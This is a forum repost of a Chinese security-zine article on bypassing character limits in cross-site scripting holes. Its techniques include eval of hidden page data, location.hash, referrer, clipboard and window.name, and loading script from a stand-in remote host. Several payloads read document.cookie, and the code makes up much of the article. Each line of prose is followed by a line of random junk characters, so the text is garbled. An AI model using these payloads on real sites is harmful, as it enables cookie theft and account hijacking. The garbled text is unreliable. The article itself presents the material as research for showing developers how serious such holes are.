中国网络渗透测试联盟
标题:
[PSTZine 0x03][0x04][突破XSS字符数量限制执行任意JS代码]
[打印本页]
作者:
admin
时间:
2012-9-13 17:10
标题:
[PSTZine 0x03][0x04][突破XSS字符数量限制执行任意JS代码]
==Ph4nt0m Security Team==
: Z9 B: M3 j: s* x' n# p
" x- t) K$ X; L7 }; f
Issue 0x03, Phile #0x04 of 0x07
' B. R7 A% D: m
) q0 a3 V: O2 l* |( V5 [6 J
* O' O1 m# s$ q. P1 n; Q% ]
|=---------------------------------------------------------------------------=|
, L* d8 O0 i/ j& w+ t: F
|=-------------------=[ 突破XSS字符数量限制执行任意JS代码 ]=-----------------=|
( ^7 i4 S+ Z( w1 y
|=---------------------------------------------------------------------------=|
/ T, A2 f6 A* r+ e6 e
|=---------------------------------------------------------------------------=|
% g7 `- r8 R3 G2 {
|=------------------------=[ By luoluo ]=---------------------------=|
( a5 j ^1 ~& g6 d. m( ?
|=----------------------=[ <luoluo#ph4nt0m.org> ]=------------------------=|
- L# ~' `9 z- t E
|=----------------------=[ <luoluo#80sec.com> ]=------------------------=|
- R. w9 J9 E' g& a- k$ I, p; c
|=---------------------------------------------------------------------------=|
: R( R, s6 E6 g% [! U# g
7 L, Z% U0 y& s7 u1 D' _
, m) U& `4 v: ]" W7 P7 ]
[目录]
, }% N+ Y4 B/ P ~ {$ w8 T! B* i! j/ z
5 Z7 J) }% |4 q7 n: D2 L
1. 综述
4 @, l; j6 m' N( C0 {$ X6 u
2. 突破方法
" p% B2 j2 J; C' F
2.1 利用HTML上下文中其他可以控制的数据
( l& m$ B% x; `
2.2 利用URL中的数据
8 V. m5 y5 V" _
2.3 JS上下文的利用
- P- A$ ]( f6 d( E; z& V
2.4 利用浏览器特性在跨域的页面之间传递数据
% M! t% ?7 A5 x& Z9 `& _: E
2.4.1 document.referrer
; M9 x; U9 r/ V/ ^6 e2 N% w
2.4.2 剪切板clipboardData
$ Q3 C( L) \/ r8 {9 j$ S
2.4.3 窗口名window.name
) J8 k$ { W& w
2.5 以上的方式结合使用
3 _+ b# ]! N5 O7 b
3. 后记
' D/ a3 s$ p; c+ h, r" ], J
4. 参考
7 w3 v, s+ O" H# Q3 X) Q' w9 H
+ W/ Q8 b# A9 i) T, E
) W! c1 T7 e4 t0 A7 y
一、综述
5 U# l$ H: g2 b7 I9 R7 D4 c O
( T, M5 E) k7 H1 U7 n# g2 T
有些XSS漏洞由于字符数量有限制而没法有效的利用,只能弹出一个对话框来YY,本文主
' {! S' a' t3 c4 ^
要讨论如何突破字符数量的限制进行有效的利用,这里对有效利用的定义是可以不受限制执
; _( O( e d% L+ y9 a# j* M
行任意JS。对于跨站师们来说,研究极端情况下XSS利用的可能性是一种乐趣;对于产品安全
8 y( \9 ^; ~* U1 Z8 q! s
人员来说,不受限制的利用的可能是提供给开发人员最有力的证据,要求他们重视并修补这些
* b4 y! M D/ L/ l! N
极端情况下的XSS漏洞。
3 p& _6 k4 @7 G7 e6 r4 t& ~
! u; B) e6 h' B( k
突破的方法有很多种,但是突破的思想基本都一样,那就是执行可以控制的不受限制的数
# M$ R+ B, }, g8 \
据。
. u- F3 B8 V, J: d9 k0 z
& _& P; r1 c% ?8 \6 c0 U
# l8 h. y7 o6 T$ i$ d4 P
二、突破方法
6 U/ O# _% e j# q8 t! B
* ]1 ]: Q9 O$ [+ ^2 R
2.1 利用HTML上下文中其他可以控制的数据
9 q' G: K- e9 N& G
( A( v4 Z F k6 G
如果存在XSS漏洞的页面HTML上下文还有其他可以控制的数据,那么可以通过JS获得该数
: H$ [6 i i* C2 o' p- u) E; i
据通过eval或者document.write/innerHTML等方式执行该数据,从而达到突破XSS字符数量限
, U! ]9 S( d- q+ v$ O# m+ v4 F
制的目的,下面例子假设div元素的内部数据可以控制,但是该数据已经被HTML编码过:
: R7 k) a1 Z: o* x( B% U
' {) R# O$ A' x" Q v
--code-------------------------------------------------------------------------
' z" n* ^; |: d. [
<div id="x">可控的安全的数据</div>
R7 ~3 x7 Z- n3 s
<limited_xss_point>alert(/xss/);</limited_xss_point>
: ? X6 ^; B) m/ B
-------------------------------------------------------------------------------
6 A4 B9 W3 I( ~+ u
) `* o- k# O% ` {1 w
由于XSS点有字符数量限制,所以这里只能弹框,那么我们可以把XSS的Payload通过escape
6 q6 H- `# V: ?2 Q- h
编码后作为安全的数据,输出到可控的安全数据位置,然后在XSS点执行可控的安全数据:
; i$ D8 _( ]) ?, v% M
- [3 C8 O: O" H6 n
--code-------------------------------------------------------------------------
1 p5 |( b4 g7 c$ _: o$ A4 F
<div id="x">alert%28document.cookie%29%3B</div>
! @ [/ u% K# i. P3 _
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
( d* [1 B( S3 r- H
-------------------------------------------------------------------------------
Z2 h5 a( O- M7 S
9 o2 v' Y4 ^! l1 U9 }
长度:28 + len(id)
/ t8 f; A& V# P
* X0 { {, y# J1 Y1 B, B/ S
由于x内部的数据没有字符数量的限制,那么从而可以达到执行任意JS的目的。
( s. ^. J, ~) P! k/ |8 A4 y
0 v( S- J, k- T2 E- R. [ i
! F1 I W6 b+ ?
2.2 利用URL中的数据
) o5 ^6 E' q0 ~' M" |3 i
5 G5 _1 J a( p
如果页面里不存在上一节所说的可控HTML上下文数据怎么办?有些数据是我们无条件可
: K m+ o0 ?2 D: G( T# Q9 Y
控的,第一个想到的就是URL,通过在URL的尾部参数构造要执行的代码,然后在XSS点通过
# w/ E3 t7 t9 N; Q$ f6 K
document.URL/location.href等方式获得代码数据执行,这里假设代码从第80个字符开始到
2 e! D/ l3 @6 I; s, x
最后:
0 j: v; W* F8 V2 E2 p( Y3 B
& ? Z- X$ t0 O
--code-------------------------------------------------------------------------
1 q) _+ ?1 _& c% h
http://www.xssedsite.com/xssed.php?x=1....&alert
(document.cookie)
8 @: \4 G- M* }
j- o. X* o# ?% {& M2 W$ h* k# v
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
j4 ~' e$ w! F+ y
-------------------------------------------------------------------------------
; q4 h! b& B/ B: H1 R
( }# e+ p4 Y1 g
长度:30
9 o: V* c% u) n6 ~) S2 k: b3 {
1 B3 Z7 \$ @0 V
--code-------------------------------------------------------------------------
8 M; r# K1 a: _
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
# p% F1 z [+ n% J& ^
-------------------------------------------------------------------------------
$ O; ]1 H9 l, Z& n- \
7 B- P' q4 R8 Q3 f/ D; v
长度:31
1 @3 k7 |8 M! F" w/ u! P' B
+ u. g! d5 k4 n* b2 s
上面两个例子对比,前一个例子更短,那么有没有办法更短呢?通过查阅JavaScript手册
) _* |9 ?+ [- D1 |+ c$ D0 I
的String的方法可以发现,切割字符串有一个更短的函数slice,5个字符比substr还要短一个
! {5 V# u! C: q* |' t9 z
字符:
; I; A s) i% C) O) z1 _9 Y
6 D% O1 d9 W9 c0 r( f" m- e
--code-------------------------------------------------------------------------
7 S' v( Y+ r, e7 z
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
2 P2 C% t8 a; `
-------------------------------------------------------------------------------
# i- l, e! S5 S. J# G
8 L1 K* i8 C* N0 y; }8 p# X
长度:29
5 Q- n: B4 y! V; b j+ _: @: w* v7 i
# I8 N' \1 [# _6 L$ y8 g
--code-------------------------------------------------------------------------
& ?7 ?! [4 r0 Y9 N+ h$ I
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
2 \2 ^ `4 J/ t) t( t9 o- j# C
-------------------------------------------------------------------------------
8 y9 W: n3 G) r
( _; [9 y/ b4 |+ ]6 U" ?
长度:30
4 s: S) l7 h% _% X4 d' s5 u8 N
: D/ T% \$ |4 \) u. I. a3 a% G
那么还有没有办法更短呢?答案是YES,查阅一下MSND里的location对象的参考你会发现
/ p: p3 M i# u+ f
有个hash成员,获取#之后的数据,那么我们可以把要执行的代码放在#后面,然后通过hash获
' f% @1 c- v! Q, c8 @$ t, x* u
得代码执行,由于获得的数据是#开头的,所以只需要slice一个字符就可以拿到代码:
& r( D; F. e; h$ l& B
8 e: ^' o! Z5 X+ O' o$ S8 F' c* E
--code-------------------------------------------------------------------------
; r% @. L7 A4 ?/ t
http://www.xssedsite.com/xssed.php?x=1....#alert
(document.cookie)
6 [% X5 t* T9 g& ?+ G( ]4 t
# \% P7 N% S& {
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
2 M( y8 |. R+ t9 T, x$ F9 ]- N
-------------------------------------------------------------------------------
) J% N; Q/ I* l w B+ z! j
$ E6 O) G5 J/ `; b7 c
长度:29
1 D' n7 E- U0 D; `) H$ Y* L
& Z4 l) c; }7 f
这样比上面的例子又少了一个字符。那么还可以更短么?
- {) T7 x# x. D2 K% ]
( {9 r, T+ H8 D" P% U. {- n! F) A" I
( h: a7 d c/ ^9 e Z8 z1 V( W
2.3 JS上下文的利用
0 b! _& j8 [2 q" n2 P
, b# {, c0 u% _# K2 x7 l1 W
为什么我如此痛苦?那是因为JS和DHTML的方法名和属性名太长!瞧瞧这些“糟糕”的名字:
8 J& [/ `- k2 F$ A' }
; f) C4 Q- [! ] H( K5 F
String.fromCharCode
. _) l( T- O8 |" C0 z$ v
getElementById
- b$ E* c" Y6 b) F
getElementsByTagName
* z) Z6 k' S9 u# P% C
document.write
6 z0 b O9 G8 i) \. m( Q) x
XMLHTTPRequest
, m2 @, Q# Y" |( j8 }, R* L& s% f
...
7 h- m* @! G% R9 X/ H9 l2 d
; z) r! q$ b; f7 [
就连开发人员也不愿意多写一次,于是很多站点的前端开发工程师们封装了各式各样的
' W( x# \ u: R3 O' Y. _' L5 F
简化函数,最经典的例子就是:
1 T: ` R; i1 [3 L0 [
) H9 Y; ~1 o1 a, D) I: |& r4 E. k# W3 H
--code-------------------------------------------------------------------------
& h$ `4 s/ ^* |
function $(id) {
2 K3 L" X- o$ b
return document.getElementById(id);
4 j3 M& K" E9 Q5 {7 F
}
% I, ]9 x' B. k. t
-------------------------------------------------------------------------------
6 M! F2 R, n7 E- F' D
, o; ~5 \; l9 u; H* o) I( O! ~
这些函数同样可以为我们所用,用来缩短我们的Payload的长度。不过上面这个例子不是
* W2 \, `9 D4 K7 v, o: k
最短的,IE和FF都支持直接通过ID来引用一个元素。有些函数可以直接用来加载我们的代码:
- l# o" I$ x. d) h C# k4 K
3 q/ L S% _0 o8 R1 `
--code-------------------------------------------------------------------------
6 t2 u7 U! o I7 J# Q4 x
function loads(url) {
1 R3 z. X7 V: y# F, }
...
7 w1 m6 E$ O/ C( i2 Q# m( i5 C! @7 W
document.body.appendChild(script);
- {! V ?# k$ V' K: H; w
}
2 a" h5 t( D0 N' Y2 W
4 S3 U$ ^( |. G
<limited_xss_point>loads('http://xxx.com/x');</limited_xss_point>
8 z8 j* }% O" t, X" @ }# p
-------------------------------------------------------------------------------
1 v+ }" ?5 V7 Q0 | j9 C, O d
6 E# G( f" d- L' f& l! `
长度:len(函数名) + len(url) + 5
' }# e I5 ?) \' F% n# I: d
1 a, a* q" v7 j, w0 o: t `* p2 t
当然你的url则是越短越好哦!有些函数则会帮我们去作HTTP请求:
3 u2 ~; f) E! t
5 H8 h- A n6 O( K: g/ c( ~& n$ l
--code-------------------------------------------------------------------------
# G( e& U8 d. {" y9 r1 h
function get(url) {
) M1 C$ W+ s- r8 \9 u, r) U: D
...
: `5 I+ u' ^* O% q9 `. {
return x.responseText;
@ H! O/ {; `( O- a" u$ {; U
}
# C- e) E8 {/ g" j: V
0 x1 F( _: r7 ~' y. j3 N) F. U- U
<limited_xss_point>eval(get('http://xxx.com/x'));</limited_xss_point>
2 V; u7 Q m$ D% G4 y( R
-------------------------------------------------------------------------------
3 I) d( U( g- D9 a( i4 X6 D! C9 t9 I! q
3 V, w3 d6 B6 R2 }2 ^! ?. w
长度:len(函数名) + len(url) + 11
/ q; o( ~+ X) _, g" C# {% N4 {# ]5 Y
0 T+ D- E" Q/ e+ U/ [
道哥则提出有些流行的JS的开发框架也封装了大量功能强劲的库可供调用,比如:
" b8 c6 i# ^1 G. V/ h& x! Y7 B
$ \. _& {; n3 H( d& ^/ L2 k
JQuery
5 v4 o( M, f; G* L
YUI
: d. x0 e. A( |+ ]% _* g' K; F
...
' c3 c+ z8 H: t" h7 N
) I! u9 i. C3 _- b N& c9 q" q- b
综上所述,我们可以通过分析JS上下文现有的框架、对象、类、函数来尽可能的缩短我
/ o" C# O3 m. D8 n- h
们的代码,进而突破长度限制执行任意代码。
; Z$ l4 K6 Q* U: V
1 t% N7 E8 L( c8 }
. y3 \! G/ @3 w% J9 e* I; f
2.4 利用浏览器特性在跨域的页面之间传递数据
* }" Q1 I- g& @
. a+ V' o( p5 x$ a" k
虽然有同源策略的限制,浏览器的功能设计上仍然保留了极少数的可以跨域传递数据的
0 h# i3 M% @; p7 a6 C- c4 n. {
方法,我们可以利用这些方法来跨页面传递数据到被XSS的域的页面去执行。
/ h5 `7 ]( l/ {4 U$ [5 K
2 v& M& c7 e. _8 M
2.4.1 document.referrer
4 a" U2 t# z8 b, o
* C7 R9 q6 W9 w
攻击者可以在自己的域上构造页面跳转到被XSS页面,在自己域上的页面的url里带了
]4 i' \; g% o1 S0 B+ s% _# E- d9 F
Payload,被XSS的页面通过referrer获取相关代码执行。
$ A2 w1 S; _4 w5 H# p% h2 v! {: t
; W8 a, n3 w$ M L" ]
攻击者构造的的页面:
! {) [# l0 q. U- b& L- a2 G
; X) m& q1 j" x% V2 B, N* {8 ^, ]$ Q
--code-------------------------------------------------------------------------
. u" m7 v( q: H) I9 C2 C
http://www.a.com/attack.html?...&alert
(document.cookie)
a7 V- {! Q# ~0 Q# p1 y
, `5 S6 c( p1 Z. Z. J: C
<a href="http://www.xssedsite.com/xssed.php">go</a>
8 @- V" i- `/ n
-------------------------------------------------------------------------------
4 R: Y( |8 J, n( Y+ W, h
) y V! p7 b- y) U# B, o# ~: ]
被XSS的页面:
6 U5 k7 K2 D8 d6 I
* B$ E" w8 k3 Q5 e, c, T( X
--code-------------------------------------------------------------------------
" C5 W5 D$ ~! B7 _
<limited_xss_point>eval(document.referrer.slice(80));</limited_xss_point>
) o& G% _8 X9 O4 }; `. k: O ~
-------------------------------------------------------------------------------
4 j' y" _, ~9 V" L8 H ^9 s
# O" n: y7 T' D# T( }
长度:34
* f; A }% \% t% _# o! i) M) Y7 J
8 d. a6 U: {' b v* ^) X0 u/ V
这种方式利用上还有一些问题,如果使用location.href或者<meta http-equiv=refresh>
. |/ o+ b& N& f; P g& h
实现的自动跳转,在IE里被攻击页面拿不到referrer,而FF则可以。QZ建议用表单提交的方式
9 L5 k0 S% m! N0 n/ G% a8 O
比较好,我测试了下,果然通用,FF/IE都可以成功获取referrer:
% V0 d2 K6 i# h, [" S. ~' b
2 ?3 [+ g* X- Y7 I
--code-------------------------------------------------------------------------
# L, l5 j: h6 E# S, _8 f. `: R% Y
<script type="text/javascript">
5 f: n7 _ H1 H% m4 I
<!--
, b) _5 G3 W; [4 b. O9 w# l
window.onload = function(){
) J* p, r; M$ t" R
var f = document.createElement("form");
( T X3 _. v! e7 T
f.setAttribute("method", "get");
( K5 _4 P M4 X2 I }- l4 T# I
f.setAttribute("action", "http://www.xssedsite.com/xssed.php");
* ~1 @0 M$ B: G) w) }
document.body.appendChild(f);
7 T8 B- }1 S. M! o
f.submit();
7 F3 ]' U' h0 u- i* a# V! n
};
2 f6 K% N& `0 e1 Y; f5 Z2 ]
//-->
1 c y" y3 [' @& d& H
</script>
. b5 K9 L ]$ Y) D
-------------------------------------------------------------------------------
! [" D. V6 l. {, B9 v5 i g
* }% U! ~# u4 {7 y D& [6 l
6 _% P% u' V! w6 S& `
2.4.2 剪切板clipboardData
1 \ W1 S0 N1 q! ]
4 ^- ~/ i) w: q
攻击者在自己域的页面上通过clipboardData把Payload写入剪切板,然后在被XSS页面获
9 ^1 U8 a1 D C- }. J
取并执行该数据。
1 _' m' C3 T7 i
3 S0 i8 `1 F$ I. I* G. C
攻击者构造的页面:
5 E3 G1 K" I% A6 r3 E! R
+ l) j# x1 W0 M# t
--code-------------------------------------------------------------------------
; I1 U, b6 k1 O& ^0 n
<script>
# ^0 v6 P; k7 w8 S. b2 X- Q
clipboardData.setData("text", "alert(document.cookie)");
% q8 y. ]! n* V8 Z0 H
</script>
/ x* I. ^3 R. Q7 I! j& b d2 W- c
-------------------------------------------------------------------------------
! O. d8 Y) B- t( S5 F4 @
: l! B* ?4 s ?1 K8 K
被XSS的页面:
& P3 G) @/ U. w, y$ N
2 ]( m1 ~: P% v: |7 Y4 B
--code-------------------------------------------------------------------------
, _1 _2 J! p) F1 h" U5 |- ]
<limited_xss_point>eval(clipboardData.getData("text"));</limited_xss_point>
* ^1 E. n% m2 F/ {% s
-------------------------------------------------------------------------------
2 i! b- H' }- o2 l! Y: W' \
8 @% O8 l3 y2 R" d5 Y
长度:36
" S! a- ~- [ Z3 F
1 l) S8 h0 j9 C! O
这种方式只适用于IE系列,并且在IE 7及以上版本的浏览器会有安全提示。
1 g$ H+ e2 V5 b* _
9 D! K& C+ n. r3 O/ m* B
1 A7 K! X! k8 T( x8 }0 \
2.4.3 窗口名window.name
- e& o' ^/ t, y. p- I
# S! X j, @# W2 _$ y
这是一个很少被用到的特性,在研究同源策略时就注意过这个属性,它是可以跨域传递数
8 @. g% X; r! P/ n
据的,但是这个特性本身并不是漏洞。
# H0 S3 L+ Z2 Q
' F n: s4 @. z8 T$ o
如果仔细研究过window.open这个方法,会发现一个不常用的第二个参数,这个则是设置
2 `& C5 `% m. c- p: L) ^
窗口名,用于指定target窗口,如果不存在的话则创建新的子窗口,并设置子窗口的name。当
9 i* D* I" S+ ?* M+ @. m
我想打搜window.open时一阵狂喜,喜的是window.name这个属性是window对象的成员,那么只
* Z4 @1 Z) `! w T1 D3 R: k) ?) }
需要name就可以引用该属性,但是测试时却发现window.open方法对于第二个参数进行了严格
+ s4 R, |/ |" T% f
的检查,只允许数字字母以及下划线的组合,禁止特殊字符进入,那么这种方式就没法写入JS
2 I6 c$ |4 w/ }; ?) b
或者VBS。
/ z, W8 V3 p4 q% h! t3 H
4 H: y. s" Y" |5 M; s6 s; g
但是经过测试发现我们可以通过window.name直接设置当前窗口的name则没有特殊字符
# J: }# k9 @# d* \+ K
限制,然后直接跳转到被XSS的页面,通过name属性传递Payload过去执行:
, f1 L; o4 @2 ~4 i: I
4 ?% [: d. [, b" \5 B
攻击者构造的页面:
! l5 f0 Z* b7 H7 }
# w% p. _# Y$ S* S! B% h
--code-------------------------------------------------------------------------
# a$ l' l# ^3 i5 c8 l" s
<script>
8 {: E9 L6 T: L) F0 Z
window.name = "alert(document.cookie)";
7 k8 C7 U8 T, t* S4 ^5 D
locaton.href = "http://www.xssedsite.com/xssed.php";
% ^: g% v, m+ z
</script>
H5 {! [4 F; l* U$ E
-------------------------------------------------------------------------------
/ S( p* ]' l% ^- a) \9 E
" m2 B. Q) n! ~ C
被XSS的页面:
7 }! q; x- q4 H
2 h4 L: ^# c) b
--code-------------------------------------------------------------------------
. {! ^: X& c0 q. J- R
<limited_xss_point>eval(name);</limited_xss_point>
5 ~# N6 Y" ~( P4 O
-------------------------------------------------------------------------------
- ]( Z* I, S3 q( }! P9 l* a
" L6 s/ ]; I! j: [: v+ I: I4 b
长度:11
. s0 J7 V/ P( ?
! C1 f+ x) Y1 b( f* n3 d( P
这个长度可以说是短到极致了,并且这个方法IE/FF都可以很好的支持,是个非常有意思
# x5 K6 h: ^* c) H# o6 O
的技巧,这个技巧的发现也是促成本文的直接原因。
9 N: b8 ~2 \. A2 v @
+ _5 X7 o v6 Q+ c
window.name的特性还有其他一些有趣的应用方式,这个方面的话题以后可以专门写篇文
/ Z' P( Q- l6 s
章来探讨。
) _& t& l9 X5 L4 e
, P9 M1 P) u; J3 W. d- y( H
- Z. t3 Y* B; R4 r9 z* A6 T, P2 c
2.5 以上的方式结合使用
( m1 z9 y9 M5 Y
5 V& ^8 Z$ t7 }
以上的方式结合使用,一般情况下会使得长度更长,但是也不排除在某些变态的过滤情况
6 }/ y, r5 x: @4 b
中,灵活的组合上面的方法可能会起到奇效。
0 E/ G F* U0 @: R }2 H. }0 d! F
, q4 c2 {" g. b! q. u6 \9 d
. P, M9 [9 I) A6 y: @7 X& @
三、后记
2 e# }: O" n5 c/ a
1 O# Y: k0 Q* T# c; B
JS非常灵活,所以方法肯定不限于这些,在具体的问题的分析和研究中,可以获得很多的
, s* G( S6 i/ t2 z I/ u
乐趣,并且对JS以及浏览器本身有了更深的认识,如果您有巧妙的技巧或者新奇的构思,欢迎
/ }8 s; E2 K b. I
和我交流!
/ q( a' N. i+ Z
! z: T! f9 x& s, t1 g
感谢axis*刺*大风*道哥、rayh4c*QZ*茄子为本文提出的宝贵意见!
! v" G9 g9 y3 Z, _4 G
& o2 ~4 L1 B% g) T9 r% ~( }, H
本文是纯粹的技术探讨,请勿用于非法用途!
8 ~$ X" l7 e) }+ u' |! Q- Q$ A5 K
& {+ I1 S6 O: ]
* n$ m) | `, X$ g+ `" n8 R' ^' G$ J
四、参考
' L3 H" v; D+ W# A3 p R6 E6 l) E/ P
4 k& R- c3 J; |. W+ A2 p
http://msdn.microsoft.com/en-us/library/aa155073.aspx
- T1 i7 T. g& d; U$ I# B* C/ Q
* O5 J+ V4 ~" D5 B4 l# ^3 f, E
-EOF-
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2